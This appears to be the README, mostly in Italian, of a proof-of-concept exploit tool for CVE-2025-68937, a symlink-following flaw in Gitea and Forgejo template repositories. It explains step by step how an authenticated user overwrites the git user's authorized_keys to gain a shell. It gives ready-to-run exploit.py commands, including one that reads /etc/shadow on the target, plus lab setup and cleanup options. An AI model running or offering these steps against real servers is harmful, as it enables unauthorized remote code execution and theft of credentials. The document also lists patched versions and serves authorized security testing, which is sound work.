
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
Proof-of-concept automatizzato per CVE-2025-68937: directory traversal tramite dereferenziazione di symlink nell'elaborazione dei repository template in Gitea e Forgejo, che porta all'esecuzione remota di codice.
Qualsiasi utente autenticato (senza privilegi di amministratore) può ottenere una shell come utente di servizio git.
Quando si genera un nuovo repository da un template, Gitea/Forgejo copia i file del template ed espande variabili come ${REPO_DESCRIPTION} nei file elencati in .gitea/template. Questo processo segue i collegamenti simbolici senza validazione, consentendo a un attaccante di leggere e scrivere file arbitrari sul server.
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 Critico |
| CWE | CWE-61 (UNIX Symbolic Link Following) |
| Autenticazione richiesta | Sì (qualsiasi utente) |
| Amministratore richiesto | No |
| Software | Affette | Corretta |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}, una variabile di template che Gitea espande.gitea/template che elenca authorized_keys per l'espansione delle variabiliauthorized_keys che punta al file authorized_keys reale dell'utente gitauthorized_keys reale (che contiene la nostra chiave registrata con ${REPO_DESCRIPTION} nel commento), espande la variabile nella descrizione del figlio (la nostra chiave SSH) e riscrive il risultato attraverso il symlinkgit con la chiave iniettata (nessuna restrizione command=)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
Avvia un'istanza vulnerabile:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000, completa la procedura guidata di installazione (SQLite funziona bene)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit e ssh-keygen nel PATHQuesto strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopo didattico. Usalo solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta a effettuare test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
| Flag | Default | Descrizione |
|---|
-u, --url | obbligatorio | URL base di Gitea/Forgejo |
-U, --user | obbligatorio | Nome utente |
-P, --password | obbligatorio | Password |
--git-home | /data/git | Directory home dell'utente git sul target |
--ssh-host | da --url | Host SSH a cui connettersi |
--ssh-port | 22 | Porta SSH di Gitea |
--timeout | 30 | Secondi di attesa per SSH |
--command | interattivo | Comando da eseguire dopo la shell |
--cleanup | - | Rimuovi gli artefatti dell'exploit |